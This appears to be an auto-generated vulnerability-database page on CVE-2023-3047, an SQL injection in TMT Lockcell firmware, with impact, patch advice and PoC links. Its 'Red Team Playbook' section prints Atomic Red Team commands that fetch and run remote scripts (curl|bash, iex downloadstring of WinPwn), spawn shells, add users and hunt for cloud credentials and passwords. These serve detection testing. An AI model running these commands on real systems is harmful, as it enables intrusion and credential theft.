CVE-2023-3047
Overview
This vulnerability is a SQL Injection flaw arising from improper neutralization of special elements within SQL commands. The root cause is the failure of the TMT Lockcell firmware to sanitize user-supplied input before incorporating it into SQL queries. The affected component is the Lockcell firmware versions prior to 15, where input parameters are directly embedded into SQL statements without adequate validation or parameterization.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TMT Lockcell allows SQL Injection. This issue affects Lockcell: before 15.
Impact
An unauthenticated attacker can leverage this vulnerability to execute arbitrary SQL commands on the backend database of TMT Lockcell devices, potentially leading to unauthorized disclosure, modification, or deletion of sensitive data. This can result in full compromise of the device's data integrity and availability. The attack requires no user interaction or credentials, enabling remote exploitation that could disrupt device operations or facilitate further network penetration.
Solution
Users of TMT Lockcell firmware should upgrade to version 15 or later, as advised in the security notifications from USOM and Siberguvenlik. The official advisory (TR-23-0345) provides detailed patch instructions and mitigation steps. Administrators should reference the vendor’s advisory URLs for applying the recommended firmware update to remediate the SQL Injection vulnerability effectively.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in TMT Lockcell arises from improper neutralization of special elements used in SQL commands, commonly known as SQL Injection. This flaw allows an attacker to manipulate SQL queries by injecting arbitrary SQL code through input fields that are not adequately sanitized. Such vulnerabilities typically occur when user input is directly concatenated into SQL statements without proper validation or escaping. In the case of Lockcell, this could lead to unauthorized access to the database, enabling attackers to view, modify, or delete sensitive data. The severity of this issue is underscored by its high CVSS score of 9.8, indicating a critical risk to the integrity and confidentiality of the system.
Attack vectors for exploiting this vulnerability can vary, but they generally involve crafting malicious input that exploits the lack of input validation. An attacker could, for instance, submit specially crafted data through web forms or API endpoints that interact with the database. Once the SQL query is executed, the injected code could allow the attacker to bypass authentication mechanisms, retrieve sensitive information such as user credentials or financial data, or even execute administrative operations. Scenarios may include an attacker gaining access to the entire database, leading to data breaches that could have far-reaching consequences for the organization.
The real-world impact of this vulnerability is significant, particularly for businesses relying on TMT Lockcell for their operations. A successful SQL injection attack could result in severe data breaches, leading to financial loss, reputational damage, and potential legal ramifications due to non-compliance with data protection regulations. Organizations may face the costs associated with incident response, forensic investigations, and remediation efforts. Furthermore, the loss of customer trust can have long-lasting effects on business relationships and market position, making it imperative for organizations to address such vulnerabilities promptly.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify potential weaknesses in the application. Additionally, employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious traffic before it reaches the application. It is also crucial to adopt secure coding practices, such as using parameterized queries or prepared statements, which can effectively neutralize the risk of SQL injection by ensuring that user input is treated as data rather than executable code. Regular updates and patch management for the Lockcell firmware are essential to protect against known vulnerabilities.
In conclusion, the SQL injection vulnerability in TMT Lockcell presents a critical risk that organizations must address to safeguard their data and maintain operational integrity. By understanding the technical aspects of the vulnerability, recognizing potential attack vectors, assessing the real-world impact, and implementing robust detection and mitigation strategies, businesses can significantly reduce their exposure to such threats. Proactive measures, combined with a culture of security awareness, will be essential in defending against the evolving landscape of cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Tmtmakine | Lockcell Firmware | All |
cpe:2.3:o:tmtmakine:lockcell_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Phamchie/CVE-2023-3047
|
Phamchie | 4 | 2 | 2024-03-07 | View |
|
Kimsovannareth/Phamchie
https://github.com/Phamchie/CVE-2023-3047
|
Kimsovannareth | 2 | 0 | 2024-03-08 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-3047 |
| usom.gov.tr |
GitHub CVE
government-resource
|
https://www.usom.gov.tr/bildirim/tr-23-0345 |
| fordefence.com |
GitHub CVE
technical-description
exploit
|
https://fordefence.com/cve-2023-3047-tmt-lockcell-sql-injection/ |
| siberguvenlik.gov.tr |
GitHub CVE
government-resource
|
https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-23-0345 |